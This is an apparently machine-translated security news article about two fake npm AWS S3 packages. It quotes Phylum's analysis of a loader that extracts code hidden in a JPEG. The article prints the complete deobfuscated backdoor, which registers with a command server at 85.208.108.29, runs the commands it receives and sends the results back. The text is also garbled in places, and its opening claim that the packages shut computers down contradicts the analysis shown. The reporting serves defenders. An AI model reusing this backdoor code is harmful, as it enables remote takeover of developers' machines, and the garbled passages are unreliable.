Researchers have determined that two fake AWS packages downloaded hundreds of times from the NPM JavaScript open source repository contained carefully hidden code that shut down developers’ computers when executed.
packages –img-aws-s3-object-multipart-copy
AND legacyaws-s3-object-multipart-copy
— were attempts to appear as aws-s3-object-multipart-copy, a legitimate JavaScript library for copying files using the Amazon S3 cloud service. The fake files included all the code found in the legitimate library, but added an additional JavaScript file called loadformat.js. That file provided what appeared to be good code and three JPG images that were processed during the package installation. One of those images contained code snippets that, when reconstructed, formed the code to shut down the developer’s device.
Growing sophistication
“We have reported these packages for removal, however the malicious packages remained available on npm for nearly two days,” wrote researchers from Phylum, the security firm that discovered the packages. “This is worrying as it means most systems are unable to detect and report on these packets immediately, leaving developers vulnerable to attacks for longer periods of time.”
In an email, Phylum head of Research Ross Bryant said img-aws-s3-object-multipart-copy received 134 downloads before it was removed. The other file, legacyaws-s3-object-multipart-copy, got 48.
The care package developers pay to their code and the effectiveness of their tactics underscore the growing sophistication of attacks targeting open source repositories, which in addition to NPM have included PyPI, GitHub, and RubyGems. Advances made it possible for the vast majority of malware scanning products to miss the backdoor hidden in these two packages. In the past 17 months, threat actors backed by the North Korean government have twice targeted developers, one of them using a zero-day vulnerability.
Phylum researchers provided an in-depth analysis of how the concealment worked:
Analyzing
loadformat.js
file, we find what appears to be fairly harmless image analysis code.However, upon closer inspection, we see that this code is doing some interesting things, resulting in execution on the victim’s machine.
After reading the image file from disk, each byte is parsed. Each byte with a value between 32 and 126 is converted from Unicode values to a character and added to
analyzepixels
variable.function processImage(filePath) { console.log("Processing image..."); const data = fs.readFileSync(filePath); let analyzepixels = ""; let convertertree = false; for (let i = 0; i < data.length; i++) { const value = data[i]; if (value >= 32 && value <= 126) { analyzepixels += String.fromCharCode(value); } else { if (analyzepixels.length > 2000) { convertertree = true; break; } analyzepixels = ""; } } // ...
The threat actor then defines two separate bodies of a function and stores each in its own variables,
imagebyte
ANDanalyzePixels
.let analyzePixеls = ` if (false) { exec("node -v", (error, stdout, stderr) => { console.log(stdout); }); } console.log("check nodejs version..."); `; let imagebyte = ` const httpsOptions = { hostname: 'cloudconvert.com', path: '/image-converter', method: 'POST' }; const req = https.request(httpsOptions, res => { console.log('Status Code:', res.statusCode); }); req.on('error', error => { console.error(error); }); req.end(); console.log("Executing operation..."); `;
whether
convertertree
is placed intrue
,imagebyte
is placed inanalyzepixels
. In simple language, ifconverttree
is set, it will execute whatever is contained in the script we extracted from the image file.if (convertertree) { console.log("Optimization complete. Applying advanced features..."); imagebyte = analyzepixels; } else { console.log("Optimization complete. No advanced features applied."); }
Looking above, we notice that
convertertree
will be placed intrue
if the length of bytes found in the image is greater than 2000.if (analyzepixels.length > 2000) { convertertree = true; break; }
The author then creates a new function using whatever code sends an empty POST request
cloudconvert.com
or starts running whatever is extracted from the image files.const func = new Function('https', 'exec', 'os', imagebyte); func(https, exec, os);
The constant question is, what is contained in the images this is trying to execute?
Command and control in a JPEG
Looking at the end
loadformat.js
file, we see the following:processImage('logo1.jpg'); processImage('logo2.jpg'); processImage('logo3.jpg');
We find these three files in the root of the package, which are included below without modification unless otherwise noted.
If we go through each of these
processImage(...)
function from above, we find that Intel’s image (ielogo1.jpg
) does not contain enough “valid” bytes to setconverttree
variable for himtrue
. The same applies tologo3.jpg
, the AMD logo. However, for the Microsoft logo (logo2.jpg
), we find the following, formatted for readability:let fetchInterval = 0x1388; let intervalId = setInterval(fetchAndExecuteCommand, fetchInterval); const clientInfo = { 'name': os.hostname(), 'os': os.type() + " " + os.release() }; const agent = new https.Agent({ 'rejectUnauthorized': false }); function registerClient() { const _0x47c6de = JSON.stringify(clientInfo); const _0x5a10c1 = { 'hostname': "85.208.108.29", 'port': 0x1bb, 'path': "/register", 'method': "POST", 'headers': { 'Content-Type': "application/json", 'Content-Length': Buffer.byteLength(_0x47c6de) }, 'agent': agent }; const _0x38f695 = https.request(_0x5a10c1, _0x454719 => { console.log("Registered with server as " + clientInfo.name); }); _0x38f695.on("error", _0x1159ec => { console.error("Problem with registration: " + _0x1159ec.message); }); _0x38f695.write(_0x47c6de); _0x38f695.end(); } function fetchAndExecuteCommand() { const _0x2dae30 = { 'hostname': "85.208.108.29", 'port': 0x1bb, 'path': "/get-command?clientId=" + encodeURIComponent(clientInfo.name), 'method': "GET", 'agent': agent }; https.get(_0x2dae30, _0x4a0c09 => { let _0x41cd12 = ''; _0x4a0c09.on("data", _0x5cbbc5 => { _0x41cd12 += _0x5cbbc5.toString(); }); _0x4a0c09.on("end", () => { console.log("Received command:", _0x41cd12); if (_0x41cd12.startsWith('setInterval:')) { const _0x1e3896 = parseInt(_0x41cd12.split(':')[0x1], 0xa); if (!isNaN(_0x1e3896) && _0x1e3896 > 0x0) { clearInterval(intervalId); fetchInterval = _0x1e3896 * 0x3e8; intervalId = setInterval(fetchAndExecuteCommand, fetchInterval); console.log("Interval has been updated to " + _0x1e3896 + " seconds."); } else { console.log("Invalid interval command received."); } } else { if (_0x41cd12.startsWith("cd ")) { const _0x58bd7d = _0x41cd12.substring(0x3).trim(); try { process.chdir(_0x58bd7d); console.log("Changed directory to " + process.cwd()); } catch (_0x2ee272) { console.error("Change directory failed: " + _0x2ee272); } } else if (_0x41cd12 !== "No commands") { exec(_0x41cd12, { 'cwd': process.cwd() }, (_0x5da676, _0x1ae10c, _0x46788b) => { let _0x4a96cd = _0x1ae10c; if (_0x5da676) { console.error("exec error: " + _0x5da676); _0x4a96cd += "\\nError: " + _0x46788b; } postResult(_0x4a96cd); }); } else { console.log("No commands to execute"); } } }); }).on("error", _0x2e8190 => { console.error("Got error: " + _0x2e8190.message); }); } function postResult(_0x1d73c1) { const _0xc05626 = { 'hostname': "85.208.108.29", 'port': 0x1bb, 'path': "/post-result?clientId=" + encodeURIComponent(clientInfo.name), 'method': "POST", 'headers': { 'Content-Type': "text/plain", 'Content-Length': Buffer.byteLength(_0x1d73c1) }, 'agent': agent }; const _0x2fcb05 = https.request(_0xc05626, _0x448ba6 => { console.log("Result sent to the server"); }); _0x2fcb05.on('error', _0x1f60a7 => { console.error("Problem with request: " + _0x1f60a7.message); }); _0x2fcb05.write(_0x1d73c1); _0x2fcb05.end(); } registerClient();
This code first registers the new client with the C2 remote by sending the following
clientInfo
THE85.208.108.29
.const clientInfo = { 'name': os.hostname(), 'os': os.type() + " " + os.release() };
It then sets an interval that elapses periodically and receives commands from the attacker every 5 seconds.
let fetchInterval = 0x1388; let intervalId = setInterval(fetchAndExecuteCommand, fetchInterval);
The received commands are executed on the device and the output is sent to the attacker at the endpoint
/post-results?clientId=<targetClientInfoName>
.
One of the most innovative methods in recent memory for hiding an open-source backdoor was revealed in March, just weeks before it was included in a production version of XZ Utils, an available data compression tool on almost all Linux installations. The backdoor was implemented through a five-stage bootloader that used a series of simple but clever stealth techniques. Once installed, the backdoor allowed threat actors to log into infected systems with administrative system rights.
The person or group responsible spent years working on the back door. In addition to the sophistication of the obfuscation method, the entity devoted a lot of time to producing high-quality code for open source projects in a successful effort to build trust with other developers.
In May, Phylum disrupted a separate campaign that covered a package available on PyPI that also used steganography, a technique that embeds secret code in images.
“In recent years, we have seen a dramatic increase in the sophistication and volume of malicious packages published in open source ecosystems,” Phylum researchers write. “Make no mistake, these attacks are successful. It is absolutely imperative that developers and security organizations be acutely aware of this fact and be deeply vigilant about the open source libraries they consume.”